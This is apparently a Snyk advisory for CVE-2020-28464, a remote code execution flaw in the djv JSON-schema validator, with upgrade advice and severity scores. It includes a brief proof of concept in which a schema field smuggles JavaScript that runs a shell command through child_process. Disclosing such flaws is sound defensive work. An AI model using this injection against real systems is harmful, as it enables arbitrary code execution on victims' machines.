

Remote Code Execution (RCE)

Affecting [djv](#) package, versions <2.1.4

INTRODUCED: 30 SEP 2020 [CVE-2020-28464](#) [CWE-94](#) [FIRST ADDED BY SNYK](#)

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How to fix?

Upgrade [djv](#) to version 2.1.4 or higher.

Overview

[djv](#) is a dynamic json-schema validator

Affected versions of this package are vulnerable to Remote Code Execution (RCE). By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.

POC:

```
const djv = require('djv'); const env = new djv(); const evilSchema = JSON.parse('{"common":{"type":"array",
"minItems": "process.mainModule.require(\'child_process\').execSync(\'touch HACKED\')"}}'); env.addSchema('test', evilSchema);
env.validate('test#/common', { type: 'custom' });
```

References

- [GitHub Additional Information](#)
- [GitHub PR](#)

PRODUCT

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Test with CLI

CRITICAL

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Exploit Maturity	Proof of concept
Attack Complexity	Low
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

> NVD

9.8 CRITICAL

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Snyk ID	SNYK-JS-DJV-1014545
Published	4 Jan 2021
Disclosed	30 Sep 2020
Credit	Alessio Della Libera (d3lla)

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